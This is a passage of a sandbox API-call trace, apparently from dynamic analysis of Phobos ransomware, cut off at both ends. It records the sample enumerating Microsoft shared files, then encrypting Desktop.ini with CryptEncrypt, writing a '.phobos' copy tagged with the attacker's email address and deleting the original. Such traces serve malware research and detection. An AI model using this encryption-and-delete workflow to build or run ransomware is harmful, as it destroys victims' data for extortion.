pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.527] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.527] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=2652) returned 1 [0048.527] CloseHandle (hObject=0x31c) returned 1 [0048.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml")) returned 0x20 [0048.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.527] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.527] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.527] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.528] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=2526) returned 1 [0048.528] CloseHandle (hObject=0x31c) returned 1 [0048.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml")) returned 0x20 [0048.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.529] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.529] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.529] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.529] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=2522) returned 1 [0048.529] CloseHandle (hObject=0x31c) returned 1 [0048.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml")) returned 0x20 [0048.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.530] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.530] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.530] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.530] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=2568) returned 1 [0048.530] CloseHandle (hObject=0x31c) returned 1 [0048.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml")) returned 0x20 [0048.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.530] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.530] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.530] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.532] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=2580) returned 1 [0048.532] CloseHandle (hObject=0x31c) returned 1 [0048.532] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml")) returned 0x20 [0048.532] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.532] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.532] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.532] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.533] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=2600) returned 1 [0048.533] CloseHandle (hObject=0x31c) returned 1 [0048.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml")) returned 0x20 [0048.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.533] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.533] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.533] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.534] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=2246) returned 1 [0048.534] CloseHandle (hObject=0x31c) returned 1 [0048.534] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml")) returned 0x20 [0048.534] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.534] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.534] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.534] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.535] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=2644) returned 1 [0048.535] CloseHandle (hObject=0x31c) returned 1 [0048.535] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml")) returned 0x20 [0048.535] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.535] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.535] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.535] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.536] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=2542) returned 1 [0048.536] CloseHandle (hObject=0x31c) returned 1 [0048.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml")) returned 0x20 [0048.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.536] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.536] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.536] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.536] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=2568) returned 1 [0048.536] CloseHandle (hObject=0x31c) returned 1 [0048.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml")) returned 0x20 [0048.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.537] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.537] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.537] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.538] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=2520) returned 1 [0048.538] CloseHandle (hObject=0x31c) returned 1 [0048.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml")) returned 0x20 [0048.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.538] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.539] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.539] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.539] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=2720) returned 1 [0048.539] CloseHandle (hObject=0x31c) returned 1 [0048.539] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml")) returned 0x20 [0048.539] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.539] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.539] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.539] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.560] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=255) returned 1 [0048.560] CloseHandle (hObject=0x31c) returned 1 [0048.560] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0048.560] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.560] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.560] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.560] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.616] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=645) returned 1 [0048.616] CloseHandle (hObject=0x31c) returned 1 [0048.616] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 0x26 [0048.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.617] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.617] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0048.617] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0048.617] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0048.617] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc950) returned 1 [0048.617] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0048.618] ReadFile (in: hFile=0x31c, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x285, lpOverlapped=0x0) returned 1 [0048.618] CryptEncrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x290, dwBufLen=0x290 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x290) returned 1 [0048.618] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x290, lpOverlapped=0x0) returned 1 [0048.619] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcb10) returned 1 [0048.619] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0048.619] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0048.619] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0048.619] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0048.619] CryptDestroyKey (hKey=0x10dc950) returned 1 [0048.619] CloseHandle (hObject=0x31c) returned 1 [0048.619] CloseHandle (hObject=0x310) returned 1 [0048.620] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 1 [0049.090] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0049.090] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0049.094] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=237) returned 1 [0049.094] CloseHandle (hObject=0x310) returned 1 [0049.094] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20 [0049.094] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.095] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.095] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0049.095] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0049.153] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=4222) returned 1 [0049.154] CloseHandle (hObject=0x310) returned 1 [0049.154] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg")) returned 0x20 [0049.154] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft 